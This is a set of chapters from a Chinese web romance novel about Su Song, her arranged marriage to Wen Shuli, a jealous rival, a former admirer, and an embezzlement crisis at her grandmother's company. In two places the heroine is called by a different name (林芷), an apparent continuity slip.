此时的温戍礼才真实感受到,一个能在风雨飘摇的年代,将家业撑起来的女人,到底有多大的承受力。他由衷的敬仰。
他上前,开口:“奶奶,资料都在法务那,你要看,我让他们送来。不过全部的内容,可能会比你想象的更严重。”
婚是被逼的,所以婚礼当天,苏凤都没能听到温戍礼喊她一声“奶奶”,这会却听到了,说明,温戍礼已经把自己当成苏颂的丈夫,苏家的孙女婿了。
苏凤点头,语气也带了些许长辈的慈祥,说:“没关系,我老太婆没那么脆弱。只是让你这个小辈看笑话了。”
温戍礼说:“是人心难测,并不是奶奶的问题。”
029 其实,我喜欢这样的
最后,苏凤让他们先回苏家,而她留在这里看资料。
大概还要处理这班吃里扒外的家伙。温戍礼留了助理在那协助以及保护苏凤,自己将舍不得走的苏颂拎出来。
“奶奶要对公司进行大清洗,她不希望你在场。”
原以为那些人只是在陈楠之死后,趁苏氏人心惶惶的时候,利用职务以公谋私,转移公司钱财,结果一查,这些人早就挪用公款了。并且金额巨大。
百年前的苏氏是苏家个体的,后来产业变换,资金短缺,苏凤为了让苏氏成功转型,才用干股吸收资金,后来又几经稀释,虽然苏家还是主要控股人,但却多了这些股东。
这一动牵全身,苏凤要大动干戈,或者心里也会非常自责。本来是想把苏氏发扬光大,没想到最后反而害了苏氏。
以苏凤的魄力,温戍礼不担心她会处理不好,他只是觉得奇怪,苏凤自己那么独立自强的人,却把苏颂养得这么柔弱。
他低头看着身侧愁眉不展的小妻子,除了着急,她好像想不到办法。他把人带上车。
到路口的时候,苏颂发现这不是回苏家的路,说:“你开错了。”
温戍礼单手打着方向盘,一手扯了扯领口,道:“没错。”
他的男性第二特征很明显,突起的滚动,很引人遐想。苏颂不敢再看他,急忙转过头,坐得直直的,目视前方,连为什么不去苏家都不问了。
最后车子在一家酒店停下来。
苏颂看了一下酒店名字,问:“来这里干什么?”
温戍礼揉了揉眉心,放松下来,疲态就展露,他说:“一晚上没睡,先睡会。”
大概是他看起来太累了,打消了苏颂的疑虑,她想,大概他是不习惯到苏家睡觉吧。
因为房间是他提前开好的,苏颂也不知道他开的是什么房间,结果一进门,愣住了。
粉色的蕾丝窗帘在风中微扬,一整个房间都是粉色的,还是蕾丝?
“啪嗒”关门声,从背后响起,伴着声音,还有温戍礼的拥抱。
他从后抱住她,男性热烈的气息,瞬间包裹住他。他在她耳边呢喃:“其实,我喜欢这样的。”
苏颂混沌的脑子开始震荡,全是他最后这句话。
喜欢这样的~这样的……情趣房间?!
两个小时后,苏颂使出最后的力气推开他:“你不是说一晚上没睡?”
这精力,还用不完了!
男人笑笑,这会他哪有半点斯文样,全是那混。
“一晚上没睡,又不是死了。”
好了,这张嘴又开始说气死人的话了。
苏颂想骂人的,但生病刚好,加上也被这人折腾得够呛,所以也没骂出口。
于是,落在温戍礼的眼中,就是小妻子脸蛋红红的,脸颊鼓鼓的,可爱极了。
苏颂真的很对他的标准,并且长相还要更优一些。他暗暗庆幸,她没有成为像苏凤那样强势的人,他不喜欢太好强的女人。
温戍礼不是贪欢的人,逗她一下而已。翻过身,在一边躺下。
“是你先起的头,现在又怪我了。”
“可你不是拒绝了吗?”一想起几天前,她费了心思,鼓起勇气到酒店开房,就是为了跟他增进感情,结果他倒好,生气了,还先走了,他都不知道,她出门的时候,前台那小姐姐看她都是什么眼神。
就差直接写着“真可怜”了。
苏颂撑着腰起来,气得不行,转头看到温戍礼已经闭上眼睛,没好气的说:“你还没洗……”
他的手臂举起来,手里不知道什么时候多了个小礼物。
“送你的。”原本从新加坡回来就打算送的,结果到现在才拿出来。不过温戍礼没多说,只在苏颂接过礼物后,他翻了个身。
他眼皮都没抬的,说:“先睡会,我昨晚真的一晚上没睡……”
语音刚落,就传出均匀的呼吸声,最后,苏颂在房间等了温戍礼一下午,等他睡醒!
温戍礼洗完澡出来,看表,已经下午四点了。
他问苏颂:“去公司,还是回苏家?”目光却停留在她手腕上的手链上。
蓝色,很配她。
苏颂等得很焦急,一方面很担心奶奶那边的情况,一方面,又怕她先走了,会又把跟温戍礼的关系搞僵,她清楚自己搞不定苏氏的事情,还需要温戍礼出马,所以这会不敢跟他闹。
苏颂说:“去公司!”她要去找奶奶。
哪知道温戍礼却说:“回苏家吧,现在过去也要下班了,也许奶奶已经先回去了。”
苏颂:……
那还问她干嘛?
一到苏家,苏颂就立刻下车,急急忙忙跑进去。
温戍礼刚下车,看着背影慌里慌乱的小妻子,两眼眯了眯,跟平常在家的她,反差很大。
客厅里,苏凤坐在交椅上,整个人精力涣散,看上去软哒哒的,没什么精神劲。
苏颂围在身边,很焦急的一句又一句问:“奶奶,你哪里不舒服?你是头又痛了吗?还是腿?你怎么了?”
“你安静点,奶奶就是需要休息。”温戍礼看到苏凤微蹙的眉头,开口说。
除掉自己人,是一种自损八百的行为,不知内情的外人会觉得及时除掉内鬼是一件大快人心的事情,但只有经营者知道,培养一个自己人需要花费多少心血,除掉他们,无疑也是在抽掉自己的心血。
苏凤年纪大了,受此一挫,精神力马上就呈现不佳了。
但心病只能靠自己静养。
苏凤看向温戍礼,对公司事务,以及那些人还有千言万语,但在苏颂面前,到底什么都没再问。
“是啊,我只是少出门了,今天还去公司呆太久,有点累。家中很多房间都空置太久了,也没打理。
就让戍礼在你房间将就休息吧。戍礼,颂颂那间房的床有点小,你别嫌弃。”
去苏颂的房间,不是问苏颂答应不答应,反而是担心温戍礼嫌弃,可见老太太内心还是把他当成温家大少爷居多。
温戍礼不喜欢苏家人对他的见外,也不想苏颂难办,看她的样子,就知道她多不想了。
030 年少的喜欢,终成年长的荒唐
向来好涵养的他,找了个借口,给彼此留体面。
他说:“不用,我不住这里,酒店那边离公司近,我打算去公司盯几天。”
苏凤最放心不下的,就是除掉內患后,公司的运营,现在一听温戍礼要来亲自坐镇,苏凤顿时喜笑颜开,连连说好。
温戍礼走了,好像来苏家,只是为了送苏颂过来。
苏颂不满的抱怨:“奶奶,你对他为什么那么好?”又客气又笑的。
苏凤说:“我跟你妈为了苏氏,要强了一辈子,你妈早早就走了,我呢,虽然活到现在,但也很艰辛。奶奶不希望你再重蹈我们的老路了,但我也放心不下苏氏。
我希望他能保护你,能为你遮风挡雨,又能承担这一切。幸好,他也有这个能力。
如果他能爱你就更好了。”
苏凤抚摸孙女的脸颊,将她鬓角的碎发挽上去,慈祥的说:“再努力点,让他爱上你,奶奶就算死了,也瞑目。”
“奶奶,你别说这种话。”苏颂抱着苏凤。她不敢跟奶奶对视,怕奶奶看出她的心虚,趴在她的腿上,说,“他对我,挺好的。”
好,不代表爱而已。
晚上,闫丽来找苏颂,因为苏凤不喜欢闫丽,所以闫丽在苏家外巷等,结果苏颂姗姗来迟,上车之后还一直哈欠连连的,让闫丽忍不住打趣:“这天刚黑呢,就去做贼了?”
苏颂又打了一个哈欠说:“还不是因为温戍礼。”昨晚本来就睡得不多,一大早又被他折腾得够呛,下午又等他睡觉等了一下午,晚饭吃完,苏颂就有些撑不住了,又困又累。
要不是闫丽来找她,她肯定去睡觉了。
闫丽讶异:“他来了?你不是说你们在冷战?”
苏颂两眼汪汪的,显得几分无辜的样子,说:“不是专门为我来的,大概是知道苏氏的事情了。”
“对了,丽姐,谁要见我啊!”闫丽在电话里头,说有人很想见她,问她能不能出来。苏颂就是觉得困,也没什么事,就答应了。
“前面就到了,你见了就知道。”
苏颂精力不多,没留意到开车的闫丽,听到温戍礼来了,蹙了蹙眉。听到她说到了,点了点头。
苏颂下车,秋夜的风吹过,她将围巾拿高一点。闫丽见状,说:“还没到冬天呢,就把围巾都围上了,跟你这身秋装也不搭,看上去怪怪的。”
闫丽伸手要去帮她拿下来,苏颂却后退避开了,见苏颂摇头,闫丽看着她,若有所思。
“刚买的手链?之前怎么没见你戴这些。”她的打探还没落实,一道声音就响起。
“姐。”伴着清朗的男声,一个高大帅气的男生出现,打断两人的互动。闫丽看到来人,高兴的招手,喊他。
“李斯俊。”
李斯俊?有回忆在苏颂的脑子里回放,上学的日子枯燥又乏味,奶奶的严厉,加上年纪的叛逆,苏颂做了一件大胆的事情——上夜店。
第一次进门,她那不谙世事的清纯样子,就引起不怀好意的人的注意,就在她被调戏,不知所措的时候,一个男生出现了。
“猥琐未成年,罪挺重!”
变声期的男生,嗓音有些粗粝,但不妨碍他的震慑力。那些油腻的中年男一哄而散,而她也从那群人嘴里知道这个男生的名字。
李斯俊。
“李斯俊。”苏颂高兴的喊出,能见到当年这个热心帮她的男生,她真的太兴奋了。
苏颂蹦蹦跳跳的跑到李斯俊面前,仰头看着高出她一个头的男生,眼睛亮闪闪的,满是惊奇的说:“你打生长激素啊!”
李斯俊一个大掌就扣在她头顶,揉乱她头顶的发,说:“还是那么傻!”
“男生生长期慢,这都不知道,笨死了。”
“好几年不见,一见面你就嫌弃我。丽姐,你说的想我的人,不会就是他吧?一点都没看出来。”
闫丽看两人打闹,满眼笑意,一手推着一个,也成功让苏颂转移视线,没发现李斯俊耳尖的红。
闫丽瞥见表弟这个样子,也觉得好笑,还三番两次让她帮着约人呢,结果见面就这出息。
闫丽说:“你们两个啊,还是跟当年一样,怎么一见面就斗嘴,多大的人了。”
几人进了一家串串香,苏颂最受不了这种又香又辣的美食了,瞬间就咽口水。
李斯俊的视线一直在她身上,看她在菜单上难以抉择的样子,靠近她,说:“想吃什么就点什么,多吃点,还是这么矮,跟个未成年一样。”
他的热气哈在苏颂的耳边,让她觉得有点不舒服,好像一张脸都热起来一样,于是她扯了一下围巾,说:“我成年了,早成年了,我都告诉你,我当时已经满十八了。”
闻言,李斯俊随口又问:“那今年多大了。”
苏颂正在菜单上奋笔疾书,头也没抬的回:“24。”
“都六……”李斯俊的话戛然而止,他的视线落在苏颂的脖子上,松散开的围巾,露出她脖子的一片肌肤,白皙的底,却有异常的红。
闫丽去洗手间洗完手回来,问:“都点好了吗?”
一顿饭吃完出来,就剩下苏颂跟闫丽,李斯俊中间接了一个电话先走了。
上车的时候,闫丽还在埋怨李斯俊的中途先走:“到底是什么大事?下次再想让我帮着约你,没门。”闫丽是个注重朋友交往礼节的人,她觉得,是李斯俊要约的,结果却自己先走了,让她这个帮忙约的中间人很没面子。
刚才苏颂吃了不少麻辣口味的,这会车上又暖和,就觉得很热,将围巾拿了下来,那一刻,闫丽就敏锐发现了她脖子上面的吻痕,她有些惊愣的开口。
“这些是温戍礼弄的?”
苏颂正对着副驾驶上的镜子打量,很苦恼的说:“是啊,也不知道这个人怎么了,还是早上呢。”他们之间从来没有在白天,当然,也从来没有在酒店过。
还是主题酒店!
闫丽几分泄气,又了然的说:“难怪先走了。”
031 爱情里,谁先不勇敢,谁就先输了
苏颂:“嗯?”
闫丽开车,单手打转方向盘,几分开玩笑,几分打趣的说:“你家温先生这样做,是不是在宣誓主权啊?他怕在云城,有人暗恋你。”
苏颂的动作顿住,沉思半会后问:“丽姐,是不是真有人暗恋我啊?这个人你还认识?
你店里开业那晚还说有人在等我。”
苏颂不是个自恋的人,但闫丽也不是个恋爱脑,她之前甚至一直叫她远离男人,可这次再重逢,闫丽总是说意有所指的话,这让苏颂不得不多想。
“是啊!”闫丽将车转弯,没有苏颂那么如临大敌,而是漫不经心的。她说,“但他现在对你死心了。”
没有一个男人真的那么大度的,在见识到有好感的女孩跟别的男人有爱的痕迹后,还能保持最初的悸动。
美好是会破碎的,所以李斯俊才呆不到终场就先走了。
那小子现在也许在哪躲着伤心吧,不过对于这种时间不对的喜欢,闫丽觉得断了更好,于是也没必要说了。
“这手链是你家温先生送的吧?”车子稳稳停在巷口,闫丽依然不打算进去到苏家。
苏颂看着手腕上的链子,点点头。不知道闫丽又要说什么,眼神几分懵懂又清澈的看着对方。
闫丽笑:“傻丫头,别多想了,我开玩笑的,真有人喜欢你,哪能你走了三年还不跟你联系的。
别胡思乱想了,要想,就想想怎么拿下你家老公吧,我觉得,他可能也喜欢你。”
苏颂走进苏家大门的时候,被吓了一跳。
以往昏暗的庭院今晚灯火通明,且隔着小院,她看到了中堂的两人——她奶奶,还有温戍礼。
“奶奶。”苏颂用眼光瞥向温戍礼,小声问,“你不是说要去住酒店?”怎么大半夜又来了?还惊扰了她奶奶。
她之所以敢答应闫丽出去,就是因为知道她奶奶早睡,晚上一般就在后院不会到前头来了。这会,她有点怪温戍礼。
“这么晚了,还出去,去哪了?”苏凤语气犀利的问她。
这一问,就让苏颂发怵,她怕她奶奶,特别是奶奶生气的时候。
“就很久没回来了,老朋友说见个面,就出去了一下。”
“我一直告诉你,女生不要在晚上出门,遇到危险怎么办?”
苏凤显然还有别的话说,但温戍礼在,只能变成担心苏颂的安危。
不知不觉间,苏颂已经往温戍礼身旁站了,她知道,有他在,奶奶不会骂人的,更不会打她。
温戍礼这会也开口:“还不到十一点,算早的。”
嗯?不是还没到十点吗?他说到十一点干嘛?难道是在说她昨晚没回去,没有提前告诉他吗?可她当时着急,又赶路,就给忘了。
苏颂瞧他,但对方压根不看她。
温戍礼同苏凤说:“既然奶奶已经做了这个决定,那么我会让法务追究到底,让那些股东付出代价。
我就先走了,不打扰了。”
这下,他看她了,眼神淡淡的,深不见底的黑眸,又有种说不出的幽怨。
看得苏颂莫名就站直了,但直到温戍礼走出苏家大门,她也没想明白,不就一晚上没遵守门禁嘛,至于搞得她像是做了什么罪大恶极的事情一样。
“说,你是不是又跟那个酒吧老板在一起了!”苏凤一吆喝,苏颂就怂了。
果然,温戍礼一走,她奶奶就兴师问罪。
苏颂不敢说出闫丽,她否认:“不是,就是一个同学。”
李斯俊跟她是同校,虽然在酒吧见面之前,他们从没在学校里见过,后来认识没多久,他又出国了,但确实算是校友。
一听不是去见闫丽,苏凤神情缓和一些,但语词依然严厉:“什么同学白天不能见,要晚上见面的。居心叵测!
你要知道,你嫁的是南城温家,那是多少人仰慕的婚事。
别是嫉妒你,故意晚上约你出去,让你落个坏名声,让戍礼厌恶你。”
她奶奶就是这样,总觉得有人会害她,一度苏颂都怀疑,她奶奶是不是有被害妄想症。但她也知道,奶奶是爱她的。
大概这就是,所谓的关心则乱吧。
“不会的,奶奶。”
“不会?那个闫丽就引诱你去夜店,试图教坏你,你从来不会跟我顶嘴,可认识她之后,你不仅叛逆,你还打算彻夜不归,幸好我当时及时发现,把你找回来……
要不然,你的名声早被她毁了,就嫁不成温家了。”就算过去好几年,说起这件事,她奶奶依然很激动,拔高着声音,像是当年那种心情还没被平复。
温戍礼把原本要拿来给苏凤的滋补品忘了,结果却听到这句话,他提着东西,停在门口。
他转身,到底没把东西再拿进去。
。
隔天,茂盛电子公司
因为那些股东不少也都是公司的高管,一时间少了那么多管理人员,苏凤怕公司内乱,亲自来坐镇。
苏颂是跟来的,目的很简单,就是怕奶奶年纪大了,万一有个什么事,她能立刻出现。
但奶奶一进门就召集他们开会,苏颂不参与,只能自己在公司里转悠。
转到财务部的时候,却跟温戍礼差点撞上——她从走廊要经过,他从办公室里走出来。还好苏颂脚步停得快。
“你今天有过来啊?怎么样,账上的窟窿大吗?”她已经听她奶奶说了,那些人一直都在挪用苏氏的公款,简直是蛀虫。
哪知道温戍礼一直往前走,对她的问题,也只是回了一个“不会”,态度可以称得上冷淡。
苏颂跟在他身后小跑着,还想问多一些情况。
“那现在公司没有经理人,你会先管着吗?”
“我得去盛泰任职。”温戍礼转过转角,面无表情的说。
“那你……”
“我不可能永远这样打理苏氏。”温戍礼忽然停下来,转过身,苏颂刹不住,撞在他的胸口上。
男人坚挺厚实的胸膛,让她吃疼地摸了摸鼻子。
这般小白兔一样的她,看起来单纯又可爱。
温戍礼发现自己生了一晚上的气,有些白搭。
032 被惦记的,叫宝
因为他就是吃她这一套。
冲动在一瞬间产生,这里角落无人,温戍礼一把圈住她的腰,一手护着她的后脑勺,不由分说,直接将人抵在墙壁上亲。
他的吻,猛烈又用力,不一会,苏颂就有些招架不住。
见她那差点接不上气的样子,他无可奈何地说:“你能不能学聪明点?”
要想守住温太太这个位置,就应该继续扮演好贤妻的角色,不让他察觉到一丝端倪,继续骗下去。
为什么要让他知道,她其实“表里不一”?
“啊?”苏颂好不容易顺了呼吸,显然没跟上温戍礼的思维,懵懂的睁着大眼睛看他。
温戍礼已经退后一步,两人之间保持着距离,他单手插兜,又是一副清贵模样,貌似刚才失态的人不是他。
他淡淡的说:“学着管理苏氏吧。”说完,他便转身走了。
苏颂看着他的背影,心跳的加速在提醒她,刚才的事情不是幻觉。可结婚三年,他从没有这样……不分场合过。
难道真的跟闫丽说的一样,他有可能也喜欢自己?
可他变脸这样快,嫌弃自己笨,又一眨眼就消失在走廊,让苏颂不敢苟同。
“不会换气,就是不聪明吗?”苏颂撇撇嘴。
苏颂无聊,特别是被温戍礼无端招惹之后,心情难以平复,特别想找人聊一聊,她给闫丽打电话,但电话一直打不通。
苏颂看着提示暂时无人接听的手机,嘀咕着:“难道丽姐还没醒吗?”
找不到人聊,苏颂收起手机,只能回去找奶奶,她走到总经办门口,正想敲门,结果门没关好,轻微用力就拉开了,苏颂听见里面的对话。
“现在公司的窟窿挺大的,要不我们再向温家调借一笔资金,来让公司周转?”
“不行。三年前,我已经豁出老脸,要了温家的钱,但也赔上了我唯一的孙女颂颂了。
这次回来,颂颂都不提她跟温戍礼……不知道他们在一起,过得好不好。
我不能再让颂颂在温家难做人。”
是她奶奶的声音。
“怎么会,我看温家大少特意过来,肯定是在意我们小姐,才会对公司这么上心的。”
“别说了,我不会再向温家开口的。”苏凤人老了,但说这句话的时候,斩钉截铁,中气十足,显得意志非常坚定。
“可资金断裂,公司要撑不住了……”
听到这里,苏颂再也忍不住,转身,往回跑。
现在,她想找温戍礼。
她奶奶不好意思开口,她来开口,都走到这一步了,她们坚持了这么久,怎么能让苏氏撑不下去。
可是跑了一圈,苏颂才发现,她不知道温戍礼在哪里。他已经辞去公司管理者的身份,他只是来帮苏氏除掉内鬼的,他会在哪里?
苏颂拿出手机打电话,结果却提示那端关机。
就在苏颂脑子一片空白的时候,温戍礼的助理看到了她。
“太太。”
苏颂看到他,连忙问:“肖助理,他呢?”
“你是问温总吗?”
苏颂急的语句不顺,只能着急的点头。
助理说:“温总回去南城了。”他看表,“这会应该是在飞机上。”
“走了?”苏颂不可置信。
助理见苏颂这样,不由得问:“太太是有什么急事找温总吗?等他……”下了飞机,他可以帮忙转达。
助理知道温戍礼对苏颂上心了,所以才想着表现,刷刷好感,哪知道话还没说完,苏颂就崩溃起来。
“等不了。”苏颂一想到奶奶那把年纪,还要苦苦撑着公司,心情就很急躁,“他不是来帮苏氏度过危机的吗?事情都还没解决,他怎么能走。
我等不了!”
苏颂拨开助理,跑了出去,任后面怎么喊,都没有停下来。
出了门口就打的士,刚上车,闫丽的电话就进来。
苏颂一边忙乱地接听,一边同司机说:“师傅,去机场。”
“你要去哪?”
手机传来一个暗哑的男声,让苏颂转移了注意力。许是这边的安静,让对方察觉到了异样,那端说:“是我,李斯俊。我姐把手机落我这里了。”
苏颂现在脑子很乱,没多想李斯俊话里的逻辑,闫丽住的是酒店,为什么会把手机落下在李斯俊那里。
对她来说,李斯俊是年少时期,她为数不多的好朋友,是她可以放心的人。
于是六神无主的苏颂,渐渐放松一些。
“我听你说要去机场,你要去哪?”李斯俊的声音恢复了些清越,又问了一遍。
“我要回南城,要找温戍礼。”苏颂又气又急,温戍礼那个人,怎么可以不说一声就走!
这边,还在床上的李斯俊一听,剑眉微微拧起,起身,才能压下心里五味杂陈的滋味,最后化成一声:“嗯。”
挂了电话,他几分茫然又无奈地望着窗外的阳光。不舍,然后呢?
他没资格挽留。
他移步,踢到床下的玻璃瓶,玻璃瓶转啊转,跟地板摩擦,发出低低的脆响。犹如他的心情,委屈,却不敢宣之于口,只能自己闷着喝酒。
明明是他先遇见的啊!
酒瓶一直延展到客厅,昨晚,他差一点要把家里的酒喝光,不知道吐了多少次,喉咙都有了血腥味,是闫丽及时过来,阻止了他继续喝下去。
此时,他穿着的,依然是昨晚出门前,精心挑选过的衣服,但已经没有昨晚熨烫妥帖的精致,布满的褶皱,像是他现在的心情一般沧桑。
他伸手,又从酒柜上拿了一瓶,一边开,一边给酒店拨去电话,找了闫丽。
“你手机落我这里了。”
“她给你打电话了。”
“她说,她要回南城,找他了。”
他一句接着一句,声音渐渐低落。
到了嘴边的酒杯,却迟迟碰不到唇瓣。就像明明她回来了,他却没法留她在身边一样。
错过,是遗憾的。
。
温戍礼下了飞机,手机开机看到苏颂的电话,回了过去,但对方没有接听,他不知道她是不是有什么事,正想再打一个,一道温婉的女声传来。
“戍礼哥。”
033 不被爱的,是草
不远处,一个穿着改良旗袍的曼妙女人,正朝他微笑,连招手的动作,都是轻微柔美的。
漂亮的脸蛋,加上姣好的身材曲线,在嘈杂的机场大厅,格外亮眼。
不管是三年前,还是三年后,陈曼曼,到哪都是一道风景线。
温戍礼收起手机,站在那,看她。
陈曼曼见他不动,便自己走了过来。她微笑的说:“好巧啊,我刚送他上飞机。”
一听对方不是特意在等他,温戍礼心里那点防备放松了些,对陈曼曼的脸色也缓和下来,开口:“要一起走吗?”
“好啊!”
。
苏颂赶了下一班飞机回来,刚下飞机,闫丽的电话就打过来。
“丽姐,有什么急事吗?你给我打了那么多电话?”
苏颂一边招手叫计程车,一边说。她刚才看到有几个是闫丽的未接。
“我才要问你有什么急事呢,阿俊告诉我,你回南城了。”
“有没有搞错,我是陪你来的,结果你现在丢下我,自己走了。”
面对闫丽的责备,上了车的苏颂也觉得理亏。
在云城的时候,因为找不到温戍礼,心急,有点六神无主,但现在已经回来了,见到温戍礼只是等会儿的事,她的心情平和下来,便跟闫丽解释。
“我有给你打电话,但是没接通。”
“我手机落在阿俊那边了。”
“他有说,不过你不是不去李家的吗?”
闫丽说:“有什么办法,我再不去,有人就要喝死在家了,他家里人又都不在家。”
“为什么?”
“被人伤透心了呗~错过心爱的女孩,还要见证他们爱的痕迹……嗳,好了,不说这个了,你还没说你为什么赶着回去。”
林芷被勾起的好奇心就这样被转移了注意力,说起公司现在的境况跟奶奶的担忧,她又觉得温戍礼走得太不是时候。
“我想问问他,到底还管不管苏氏了。”
苏颂打车直接回家,但是温戍礼不在家,她又转身一边出门,一边给温戍礼打电话。她太着急了,心里焦躁,根本做不到在家等着他回来,她想去找他。
“你现在在哪?”苏颂进了电梯,快速的问。
“南城。”对方言简意赅。
林芷再迟钝,也感觉到他的疏离了。她有些不明白,明明上午,他还在公司,对她有了那样的举动。
结果他说抽身就抽身,要走也一声不吭,现在的态度也很冷淡,这种感觉,像是回到他们刚结婚一年的时候……
“我回……”
“戍礼哥。”
一道柔美的女声,打断苏颂的话,也将她从痛苦的回忆中拉回。
温戍礼身边有女人?
认识他的人,不都说他不近女色,他连助理都是用男的……苏颂想象不出来,到底是谁,哪个女人能跟他在一起。
警惕心、危机感,一触即发。
“叮!”
电梯门打开,苏颂风风火火的冲出去,控制不住露出真性情的质问:“你在哪?”
结果刚出楼道门,她就碰上温戍礼,而他身边不远处,站着一个穿着淡紫旗袍,留着及腰长发,嘴边挂着适宜微笑的女人,朝她微微点头,显得大方又有涵养。
是她!
苏颂在酒店前台遇到过那个美人。
苏颂不知道现在自己是什么表情,但她想,总归是不好看的。她被这个不知名的美人比下去了。
温戍礼这下,更嫌弃她了吧?
“我在这里。”男人手里还拿着手机,说完才挂了电话。
很明显,他在不太满意她刚才很冲的语气,可他呢?语气冰冰凉的,含着拒人千里之外一般的冷,让她想起刚结婚一年的时候。
当时他挽救回了苏氏,回来住了一段时间,之前他们都是聚少离多,所以家里多了个男主人,苏颂一开始不知道怎么跟他相处,后来见他经常在书房忙到半夜,也没有跟她亲近过。
她鼓起勇气主动去找他,结果刚靠近,他就说:“别坐,这些文件价值上亿,抵得过两个苏氏了。”
当时他的语气也像现在冷冰冰的
当时,他是嫌弃她肤浅,又廉价吧?苏颂内心像是有什么东西在翻涌,难过、失落、哀伤,最后都化成一股不甘,越滚越多,就要喷出来。
温戍礼将手机收起来,脸色一成不变,只有语气稍微缓了些:“找我有什么事?”
她看起来,似乎很不好。温戍礼的目光落在她低垂的脑袋瓜上,只看到她乌黑的发,一时间看不到她的表情。忽然——
“你是谁,我不能找你!”苏颂很大声的说,她抬起头,垂在两边的手紧紧攥住,她不再吞忍,他凭什么一而再的瞧不起她?!
“你不是我老公吗?老婆找老公,非得有事才能找?那这一位又是谁?她找你又有什么事?”
苏颂嫁给温戍礼之后,走的一直都是温婉的路线,一是她想讨温戍礼喜欢,二来,温戍礼本身也够洁身自好,做事很有分寸,没什么值得她去大吵大闹,追根究底的事情。
可是,苏氏的危机,奶奶沉重的叹息,都像是一座大山,压得她喘不过气,她在心情极其糟糕的时候,他却走了,她本来就在生气,现在直接忍不住。
“这位小姐,我不知道你是谁,但是你知道你跟着回家的男人,有老婆了吗?”
苏颂现在像是带刺的刺猬,见人就刺。
她把对方当成影响他们感情的导火线了。
“我……”
“苏颂!”
我就是他老婆的话还没说完,温戍礼已经严词厉色。外人都说,他是泰山崩于前都不改色的,可现在,他急了!
苏颂说不上的滋味,快步朝外走去,经过他们,毫不犹豫,脚步生风的离开。
看着苏颂走开,温戍礼转身要去追,身旁的陈曼曼却开了口:“嫂子好像误会什么了。”
她微微蹙着眉,略显苦恼的样子:“我是不是给你造成困扰了?早知道,就不说来你家了。”
温戍礼听后,微不可察的颔首,说:“改天再约。”说完,便大步流星的追过去。
陈曼曼看着男人急匆匆的背影,喃喃自语:“温大少,什么时候这么失态过?”
她望着苏颂已经变得很小的背影,眼中饰演的自责,渐渐聚成不善的嫉妒。
034 温大少第一次低头
温戍礼追出来,好在人还没出小区大门,他可不想被路人围观哄老婆。
他轻而易举地拉住她:“有话好好说。”
“是谁不好好说?”
听着他哽咽的语气,温戍礼两手将人扳过来,严肃的说:“抬头。”
低着头的苏颂别过去。她现在做不到贤惠,就是不想听话。
男人温热厚实的手掌托着她的脸颊,将之抬起来。一双好看的眼睛,裹着晶莹的泪水,更加亮了,也更加想让人怜惜了。
随着她闪躲的目光,泪珠滑落下来,烫到了他的手心,触动到了他的心底。
最后,化成男人低低的叹息:“如果是我让你不开心,那我道歉。”
这是他第一次服软,但人总会有得寸进尺的时候,苏颂性子本来也傲,也不说原谅,说道:“本来就是你不对。”
见她情绪有所好转,温戍礼这会也愿意顺着她。他用拇指帮她揩去悬挂的泪珠,问:“赶回来,有事找我?”
“有事找我”跟“找我有什么事”,虽然表达的意思一样,但语气的不同,让两句话传达出来的效果天差地别。
堂堂温大少放低姿态的时刻不多,苏颂也没有再不识趣,将事情说了。
说完,她看着他,有些底气不足的说:“我知道,你已经帮过苏氏一次了,你不欠我们,更不欠苏氏。
你有你的事业要忙,不可能一直管苏氏。但这次,恳请你给苏氏注入资金吧,不用你管理,先让苏氏的资金链别断就行。”
貌似刚才的要强只是昙花一现,如果真要掰开来讲,其实她苏颂,真没有什么资本在温戍礼面前硬气。
她又变回了那个迎合他的好太太了。
温戍礼拿出手机,没有回答苏颂的请求,只是当着她的面拨出电话。
“查一查,现在苏氏账上的窟窿多大,用我的私人账户走,把数填了。”
听到他这样说,苏颂眼睛放光,是激动的光,而不是泪水了。
温戍礼心里有种被刺的不舒服感,他想,他在她这里的作用,也就这样了。不免又想到那个清吧老板,心里又很不是滋味。
“你自己回来的?”温戍礼问。他盯着她红色的唇,她这张嘴最好给他个满意的回答!
苏颂也拿着手机看,她在看时间,她知道温戍礼的人,做事效率都很快。听到他问,不假思索地回:“自己啊,我急着回来找你,走的时候谁都没说呢!”
李斯俊不算吧,他是恰巧拿到闫丽的手机,恰巧给她回电话,才恰巧知道的。苏颂自动屏蔽掉这段。
好在,这次她说的话没让人生气。男人便也多了几分耐心,跟她站在门边等。
很快,那边的电话就回过来,温戍礼接通,直接开口说:“只要我账户上够,多少都直接划。”
苏颂一听,更激动了,看着温戍礼就像看见摇钱树般的崇拜,两眼都亮起来。可是那端不知道说了什么,只见他的神色又严肃下来,最后,还拧眉。
他很少这么喜怒形于色。苏颂心都提起来,见他挂了电话,立刻问:“怎么样?是苏氏的账面窟窿很大吗?”
连温戍礼的小金库都不够?
温戍礼的表情有点凝重,说:“有人已经对苏氏注资了,苏氏的危机解除了。”
“你知道,谁跟苏氏有这么深的交情吗?”
助理在电话里头也说,对方匿名,还不知道是谁,这让他不得不警惕。
哪知道苏颂只在意结果,听后,高兴地说:“大概是奶奶的老朋友吧,奶奶真是宝刀未老,真厉害。”
老朋友?如果苏凤真有这么慷慨义气又大方的老朋友,当初又怎么需要带着苏颂上温家大门讨婚?牺牲唯一孙女的婚事。不过,这个疑惑,温戍礼没有提出。
她回到家里,给奶奶打了电话,说她已经回了南城,报个平安。至于苏氏的事情,既然她奶奶不愿意让她知道,苏颂也便装不知道,半句都没问。
不管是谁给苏氏注资,那都是苏家的大恩人。
既然苏氏的危机解除了,苏颂也不必在意温戍礼了。她对温戍礼不告而别一事,还有点介意,所以躲在房间里,一直跟闫丽聊天。
没有打电话,就在聊天软件上聊。
闫丽:【你是说,你老公差一点就带了个非常漂亮的女人回家?】
苏颂趴在床上,她听到温戍礼开了书房的门,肯定又去忙他的工作了,他不忙完不会过来,所以她不需要装着,怎么放松怎么来。
对于闫丽说的这个,她几分洋洋得意:【还好我回来了,被我阻止了】
闫丽:【但你老公不是你叔子那种人,一个没有花边新闻,从不乱搞男女关系的男人,在老婆不在家的情况下,还要带别的女人回家】
【宝,我觉得挺严重的】
苏颂当时看到,第一想法就是闫丽这个想法。但……
【我着急也没用啊,人家不喜欢我,我就算吃醋他也不会在意的】
闫丽:【可他喜欢睡你啊!】
苏颂看着那两字,莫名脸颊就发烫了,她脸红的,连打字都慢起来:说得好好的,干嘛又开车。
字打完还没发出去,闫丽下一条信息又发过来,这次是语音。
“愿意睡你就有机会,多跟他睡,把他榨干,他就没精力去包二奶、找小三了。
把我给你准备的那些情趣用品用上,别不好意思。”
不愧是闫丽,给的建议永远这么干脆……又暴力!
